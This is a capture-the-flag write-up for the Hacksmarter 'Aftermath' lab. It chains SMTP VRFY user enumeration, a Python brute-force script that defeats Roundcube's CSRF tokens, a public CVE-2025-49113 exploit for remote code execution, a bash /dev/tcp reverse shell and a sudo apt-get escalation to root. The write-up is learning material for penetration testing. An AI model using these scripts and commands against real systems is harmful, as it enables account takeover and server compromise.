September 11, 2026
Hacksmarter Aftermath-CTF Writeup
Platform: Hacksmarter | Difficulty: Easy | Category: Web / SMTP Enumeration / RCE / Privilege Escalation | Flags: 3/3 | Author: razzleβ¦

By Razzle Mouse π
10 min read
Platform: Hacksmarter | Difficulty: Easy | Category: Web / SMTP Enumeration / RCE / Privilege Escalation | Flags: 3/3 | Author: razzle mouse
Objective
You have been assigned a penetration test against a Linux server in the client's network. Your objective is to gain root access. The client has planted three flags on the system β retrieving each of these flags demonstrates impact.
Initial Access: Another team member pulled down a list of names and passwords from DeHashed β but it's unconfirmed whether any are valid on the target. The lab provides two wordlists to work with: names.txt (499 usernames) and passwords.txt (a curated password list). The challenge is figuring out which username is real before wasting time brute-forcing blind combinations.
Synopsis
Aftermath is a Linux box that chains four individually unremarkable misconfigurations into a clean root. Port 80 exposes a Roundcube webmail instance running version 1.5.9 β unpatched against CVE-2025β49113. Port 25 has SMTP VRFY enabled with no authentication required, turning a brute-force problem across 499 usernames into a single confirmed target. The CSRF-protected login form defeats every static-token tool (Hydra, ffuf) until a Python session-per-attempt script handles the token rotation correctly and cracks the one valid user's password in under 25 attempts. From there, CVE-2025β49113 β a post-auth PHP object deserialization flaw β hands over a www-data reverse shell. The privilege escalation is a single line: www-data can run apt-get as root with no password, and GTFOBins turns that into a root shell immediately. The box teaches one thing repeatedly: open services that look like dead ends (SMTP with no mail client, a webmail with CSRF protection, a narrow sudoers grant) are only dead ends until you check what exactly they expose.
Attack Surface & Reconnaissance
Target Layout
Host : 10.1.69.114
OS : Linux (Ubuntu)
Hostname: kaliHost : 10.1.69.114
OS : Linux (Ubuntu)
Hostname: kaliPort Scan
rustscan -b 500 -a 10.1.69.114 -- -sC -sV -Pnrustscan -b 500 -a 10.1.69.114 -- -sC -sV -PnRustScan found three open ports quickly. Then a focused nmap confirmed the services:
nmap -p 22,25,80 -sC -sV -Pn 10.1.69.114
-------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
25/tcp open smtp Postfix smtpd
|_smtp-commands: kali, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS ...
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Homenmap -p 22,25,80 -sC -sV -Pn 10.1.69.114
-------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
25/tcp open smtp Postfix smtpd
|_smtp-commands: kali, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS ...
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: HomeThree takeaways from this scan output:
- SSH is open but only accepts public key auth β confirmed later when
Permission denied (publickey)was the response to every password-based attempt. - SMTP has
VRFYlisted in the banner β this is the critical find. VRFY allows unauthenticated username enumeration, and Postfix exposes it here with no restriction. - Port 80 shows Apache with a generic title of "Home" β worth directory fuzzing before assuming there's nothing interesting.
Phase 1: Web Reconnaissance β Finding Roundcube
Challenge
Port 80 returns a generic Apache page with title "Home." There's no obvious login panel, no robots.txt hint in the scan, and nothing in the default page source pointing to hidden paths. Without knowing what's installed, brute-forcing credentials against something you can't see is impossible.
Exploitation
Step 1: Directory fuzz port 80 with a common wordlist
dirsearch -u <target ip>dirsearch -u <target ip>The scan returned /roundcube β a Roundcube webmail installation sitting at [http://10.1.69.114/roundcube/index.php](http://10.1.69.114/roundcube/index.php.).
Step 2: Note the Roundcube version ( After auth)
Navigating to the About page inside Roundcube (Settings β About) revealed:
Roundcube Webmail 1.5.9Roundcube Webmail 1.5.9
Version 1.5.9 is below the patched threshold of 1.5.10 β this is immediately relevant for later exploitation.
Step 3: Intercept the login POST request via browser developer tools
POST /roundcube/?_task=login HTTP/1.1
...
_token=B8YgpK0CG21aMA8Ncz4cWhTQz4HiU91h&_task=login&_action=login
&_timezone=America%2FNew_York&_url=_task%3Dlogin&_user=admin&_pass=adminPOST /roundcube/?_task=login HTTP/1.1
...
_token=B8YgpK0CG21aMA8Ncz4cWhTQz4HiU91h&_task=login&_action=login
&_timezone=America%2FNew_York&_url=_task%3Dlogin&_user=admin&_pass=adminThe login form includes a _token CSRF field tied to the session cookie (roundcube_sessid). This token is single-use and regenerated per request β it makes every static-token brute-force tool (Hydra, ffuf with hardcoded token) return identical 401 responses regardless of credentials, because Roundcube rejects the request at the CSRF layer before it ever checks the username or password.
Key Lesson
Directory fuzzing is not optional on a port 80 that shows a generic homepage. A Roundcube version disclosure sitting one click away in the About dialog is a direct path to CVE lookup β always check the version of any identified web application before spending time on credential attacks.
Phase 2: SMTP VRFY Enumeration β Confirming the Real User
Challenge
The login form is confirmed. But brute-forcing 499 usernames against every possible password, through a CSRF-protected form that requires a fresh token per attempt, is computationally expensive and slow. The nmap banner already showed VRFY is enabled β the question is whether the mail server validates usernames against real system accounts.
Exploitation
Step 1: Run smtp-user-enum against the full names wordlist
smtp-user-enum -M VRFY -U names.txt -t 10.1.69.114 -p 25
---------
######## Scan started at Thu Sep 10 12:12:38 2026 #########
10.1.69.114: maria existssmtp-user-enum -M VRFY -U names.txt -t 10.1.69.114 -p 25
---------
######## Scan started at Thu Sep 10 12:12:38 2026 #########
10.1.69.114: maria existsOne valid user out of 499 names. VRFY confirmed maria is a real account on the system. Every other name returned a 550 rejection. This collapses a 499Γwordlist brute-force down to a 1Γwordlist brute-force β a massive reduction in the search space.
Step 2: Manually verify VRFY response format
nc 10.1.69.114 25
VRFY maria
# 252 2.0.0 maria
VRFY admin
# 550 5.1.1 admin: Recipient address rejectednc 10.1.69.114 25
VRFY maria
# 252 2.0.0 maria
VRFY admin
# 550 5.1.1 admin: Recipient address rejectedThe 252 vs 550 distinction is clear and reliable β smtp-user-enum is reading this correctly.
Key Lesson
SMTP VRFY being listed in an nmap banner is a direct invitation to enumerate users. On a box where SSH only accepts public keys and the webmail requires a known username before password brute-forcing makes sense, VRFY confirmation of a single valid account is the pivot that makes everything else tractable. Always enumerate SMTP when port 25 is open, before assuming it's irrelevant infrastructure.
Phase 3: Roundcube Credential Brute-Force β CSRF Token Handling
Challenge
maria is a confirmed valid account. The Roundcube login form has CSRF protection β a _token value paired to a roundcube_sessid cookie that changes per page load. Hydra and ffuf both fail here because they send static POST bodies: the token in the body doesn't match a fresh session cookie, so Roundcube rejects the request at the validation layer and returns a uniform 401 before checking any credentials.
Evidence of the false-positive problem:
[Status: 401, Size: 5566, Words: 385, Lines: 99] * PASSWORD: 123456 * USER: maria
[Status: 401, Size: 5566, Words: 385, Lines: 99] * PASSWORD: qwerty * USER: maria[Status: 401, Size: 5566, Words: 385, Lines: 99] * PASSWORD: 123456 * USER: maria
[Status: 401, Size: 5566, Words: 385, Lines: 99] * PASSWORD: qwerty * USER: mariaEvery single result has identical word count (385) and line count (99) β token rejection, not credential failure.
Exploitation
Step 1: Write a Python script that performs a fresh GET before each POST, extracting a live token per attempt
python
import requests
import time
url = "http://10.1.69.114/roundcube/?_task=login"
passwords = open("passwords.txt").read().splitlines()
for pwd in passwords:
for attempt in range(3):
try:
s = requests.Session()
r = s.get(url, timeout=15)
token = r.text.split('name="_token" value="')[1].split('"')[0]
data = {
"_token": token,
"_task": "login",
"_action": "login",
"_timezone": "America/New_York",
"_url": "_task=login",
"_user": "maria",
"_pass": pwd
}
resp = s.post(url, data=data, allow_redirects=False, timeout=15)
if resp.status_code in (302, 303):
print(f"\n[+] SUCCESS: maria:{pwd}\n")
exit()
else:
print(f"[-] Failed: maria:{pwd}")
break
except requests.exceptions.Timeout:
print(f"[!] Timeout maria:{pwd} retry {attempt+1}/3")
time.sleep(2)
except Exception as e:
print(f"[!] Error -> {e}")
breakimport requests
import time
url = "http://10.1.69.114/roundcube/?_task=login"
passwords = open("passwords.txt").read().splitlines()
for pwd in passwords:
for attempt in range(3):
try:
s = requests.Session()
r = s.get(url, timeout=15)
token = r.text.split('name="_token" value="')[1].split('"')[0]
data = {
"_token": token,
"_task": "login",
"_action": "login",
"_timezone": "America/New_York",
"_url": "_task=login",
"_user": "maria",
"_pass": pwd
}
resp = s.post(url, data=data, allow_redirects=False, timeout=15)
if resp.status_code in (302, 303):
print(f"\n[+] SUCCESS: maria:{pwd}\n")
exit()
else:
print(f"[-] Failed: maria:{pwd}")
break
except requests.exceptions.Timeout:
print(f"[!] Timeout maria:{pwd} retry {attempt+1}/3")
time.sleep(2)
except Exception as e:
print(f"[!] Error -> {e}")
breakStep 2: Run it
python3 bruteforce.py
---------------------------------
[-] Failed: maria:123456
[-] Failed: maria:12345678
...
[+] SUCCESS: maria:1xxxxxxxxpython3 bruteforce.py
---------------------------------
[-] Failed: maria:123456
[-] Failed: maria:12345678
...
[+] SUCCESS: maria:1xxxxxxxxValid credentials: maria:1xxxxxxxxxxxx
Step 3: Log into Roundcube and read the inbox
The inbox contained one email from ctf@localdomain:
Subject: Email Flag
flag{roundcube_xxxx_xxxxx}flag{roundcube_xxxx_xxxxx}Key Lesson
CSRF protection does not make a login form immune to brute-force β it just breaks every tool that can't fetch a fresh token per attempt. The correct fix from the attacker's side is a session-per-attempt script in Python requests. Successful Roundcube logins redirect (302/303) while failures return 200 β checking the redirect status code is more reliable than string-matching failure text in the response body.
Phase 4: CVE-2025β49113 β Post-Auth RCE via PHP Object Deserialization
Challenge
Roundcube 1.5.9 is below the patched threshold. CVE-2025β49113 is a critical (CVSS 9.9) post-authentication RCE affecting Roundcube versions 1.5.0 through 1.6.10, caused by unsanitized _from parameter handling in program/actions/settings/upload.php leading to PHP object deserialization. The exploit requires valid credentials β which are now in hand.
Exploitation
Step 1: Clone the PoC
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit
cd CVE-2025-49113-exploitgit clone https://github.com/hakaioffsec/CVE-2025-49113-exploit
cd CVE-2025-49113-exploitThe exploit is a single PHP file. Usage:
php CVE-2025-49113.php <url> <username> <password> <command>php CVE-2025-49113.php <url> <username> <password> <command>Step 2: Confirm RCE with a test command
php CVE-2025-49113.php http://10.1.69.114/roundcube maria 1xxxxxx id
-------------
[+] Starting exploit (CVE-2025-49113)...
[*] Detected Roundcube version: 10509
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!php CVE-2025-49113.php http://10.1.69.114/roundcube maria 1xxxxxx id
-------------
[+] Starting exploit (CVE-2025-49113)...
[*] Detected Roundcube version: 10509
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!RCE confirmed β the gadget uploaded and executed.
Step 3: Set up a netcat listener and fire a reverse shell
# Terminal 1 β listener
nc -lvnp 4444
-------------------------
# Terminal 2 - exploit
php CVE-2025-49113.php http://10.1.69.114/roundcube maria 1qaz2wsx \
"bash -c 'bash -i >& /dev/tcp/10.200.93.39/4444 0>&1'"
-----------------
connect to [10.200.93.39] from (UNKNOWN) [10.1.69.114] 38288
www-data@kali:/$# Terminal 1 β listener
nc -lvnp 4444
-------------------------
# Terminal 2 - exploit
php CVE-2025-49113.php http://10.1.69.114/roundcube maria 1qaz2wsx \
"bash -c 'bash -i >& /dev/tcp/10.200.93.39/4444 0>&1'"
-----------------
connect to [10.200.93.39] from (UNKNOWN) [10.1.69.114] 38288
www-data@kali:/$
Shell as www-data.
Step 4: Locate the user flag
find / -type f -name "user.txt" 2>/dev/null
# /usr/user.txt
-------
cat /usr/user.txt
# flag{user_2xxxxxx_xxxx}find / -type f -name "user.txt" 2>/dev/null
# /usr/user.txt
-------
cat /usr/user.txt
# flag{user_2xxxxxx_xxxx}Key Lesson
Post-authentication RCE vulnerabilities are only gated by valid credentials β not by firewall rules, not by network segmentation, not by any protection that sits in front of the login form. Once maria:1qaz2wsx was cracked, CVE-2025-49113 turned authenticated webmail access into OS-level code execution in one command. Version disclosure on any web application is never cosmetic β it is a direct attack surface.
Phase 5: GTFOBins apt-get β www-data to Root
Challenge
www-data has a shell but no access to home directories β both /home/maria and /home/kali return Permission Denied. The standard privilege escalation checks (SUID binaries, writable cron jobs, kernel exploits) take time. sudo -l is the first thing to check on any shell, even for a service account.
Exploitation
Step 1: Check sudo rights for www-data
sudo -l
------------------
User www-data may run the following commands on kali:
(ALL) NOPASSWD: /usr/bin/apt-getsudo -l
------------------
User www-data may run the following commands on kali:
(ALL) NOPASSWD: /usr/bin/apt-getapt-get as root with no password. This is a well-known GTFOBins vector.
Step 2: Escalate via apt-get Pre-Invoke hook
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
-----------------
whoami
rootsudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
-----------------
whoami
rootRoot shell obtained. apt-get's -o flag allows arbitrary option injection β APT::Update::Pre-Invoke runs a specified binary as a pre-hook before the update begins, and since apt-get was invoked as root, the shell spawned as root.
Step 3: Read the root flag
cat /root/root.txt
# flag{toor_5xxxxxxxxxxx_rxxxxxxxxxxx}cat /root/root.txt
# flag{toor_5xxxxxxxxxxx_rxxxxxxxxxxx}
Key Lesson
A sudoers entry for a service account running a package manager binary with NOPASSWD is a root primitive, not a limited grant. apt-get has multiple GTFOBins vectors (-o, shell commands, changelog pagers). Any NOPASSWD sudo right deserves an immediate GTFOBins lookup regardless of how benign the binary looks in isolation.
All Flags
# Flag Vulnerability Where Found
1 flag{roundcube_xxxxx_xxxx} Brute-forced Roundcube webmail maria's inbox
2 flag{user_xxxx_xxxxxxxxxxxxx} CVE-2025-49113 Post-Auth RCE /usr/user.txt
3 flag{toor_xxxx_xxxxxxx} apt-get NOPASSWD sudo β GTFOBins /root/root.txt# Flag Vulnerability Where Found
1 flag{roundcube_xxxxx_xxxx} Brute-forced Roundcube webmail maria's inbox
2 flag{user_xxxx_xxxxxxxxxxxxx} CVE-2025-49113 Post-Auth RCE /usr/user.txt
3 flag{toor_xxxx_xxxxxxx} apt-get NOPASSWD sudo β GTFOBins /root/root.txt
Attack Chain Summary
Port scan (22, 25, 80)
βββ Directory fuzz port 80 β /roundcube discovered
βββ Roundcube 1.5.9 identified (below patched 1.5.10)
βββ SMTP VRFY enumeration β maria confirmed as valid user (1 of 499)
βββ Python session-per-attempt brute-force handles CSRF token rotation
βββ maria:1qaz2wsx cracked in <25 attempts
βββ Roundcube inbox β flag{roundcube_xxxx_xxxx}
βββ CVE-2025-49113 PHP deserialization RCE
βββ Reverse shell as www-data
βββ find / β flag{user_2xxxx_xxxx} at /usr/user.txt
βββ sudo -l β apt-get NOPASSWD
βββ GTFOBins Pre-Invoke hook β root
βββ flag{toor_5xxxx_xxxx}Port scan (22, 25, 80)
βββ Directory fuzz port 80 β /roundcube discovered
βββ Roundcube 1.5.9 identified (below patched 1.5.10)
βββ SMTP VRFY enumeration β maria confirmed as valid user (1 of 499)
βββ Python session-per-attempt brute-force handles CSRF token rotation
βββ maria:1qaz2wsx cracked in <25 attempts
βββ Roundcube inbox β flag{roundcube_xxxx_xxxx}
βββ CVE-2025-49113 PHP deserialization RCE
βββ Reverse shell as www-data
βββ find / β flag{user_2xxxx_xxxx} at /usr/user.txt
βββ sudo -l β apt-get NOPASSWD
βββ GTFOBins Pre-Invoke hook β root
βββ flag{toor_5xxxx_xxxx}Tools Used
Tool Purpose
rustscan Fast initial TCP port sweep
nmap Service/version detection and script scanning
ffuf Web directory fuzzing to find /roundcube
smtp-user-enum SMTP VRFY-based username enumeration
Python requests Session-per-attempt brute-force with live CSRF token handling
CVE-2025-49113 PHP object deserialization RCE PoC (hakaioffsec)
netcat Reverse shell listener
GTFOBins apt-get sudo privilege escalation referenceTool Purpose
rustscan Fast initial TCP port sweep
nmap Service/version detection and script scanning
ffuf Web directory fuzzing to find /roundcube
smtp-user-enum SMTP VRFY-based username enumeration
Python requests Session-per-attempt brute-force with live CSRF token handling
CVE-2025-49113 PHP object deserialization RCE PoC (hakaioffsec)
netcat Reverse shell listener
GTFOBins apt-get sudo privilege escalation referenceKey Takeaways
SMTP VRFY being listed in an nmap banner is a direct username enumeration primitive. Confirming maria from 499 candidates before touching the login form eliminated the entire user-enumeration phase of the brute-force β without it, the credential attack would have taken orders of magnitude longer against a CSRF-protected form that's slow by design (fresh GET+POST per attempt).
CSRF protection breaks static-token tools entirely, not partially. Every ffuf and Hydra result came back identical (401, 385 words, 99 lines) β the form was rejecting requests at the token validation layer before ever reaching the credential check. Recognizing that uniform-response pattern as "token rejection, not password failure" is what shifted the approach from tuning ffuf flags to writing a session-per-attempt script.
Version disclosure on a web application is never cosmetic. Roundcube 1.5.9 being one minor version below the patched 1.5.10 meant the entire authenticated session became a CVSS 9.9 RCE surface the moment credentials were cracked. The version was visible in one click inside the app's own About dialog.
A NOPASSWD sudo grant on a package manager binary is a root shell, not a limited privilege. apt-get Running as root with -o APT::Update::Pre-Invoke::=/bin/sh spawns a root shell before the update even begins. The grant looked scoped β it wasn't.
Wrap-Up
Aftermath doesn't require any exotic tooling or zero-day research β every step is enumeration and known public exploits applied in the right order. VRFY turns a brute-force problem into a targeted credential attack. Recognizing CSRF token rotation as a tool-selection problem rather than an unsolvable obstacle unblocks the login form. Version disclosure converts authenticated webmail access into RCE via a patched-but-unpatched CVE. And a package manager in sudoers is a GTFOBins lookup, not a dead end. The chain only closes when each open service is interrogated for what it actually exposes rather than dismissed because the first obvious path didn't work.
#CyberSecurity #CTF #Hacksmarter #Writeup #PenetrationTesting #Linux #SMTP #RCE #CVE202549113 #Roundcube #PrivilegeEscalation #GTFOBins #BruteForce #CSRF #WebExploitation #CTFWriteup #EthicalHacking #SecurityResearch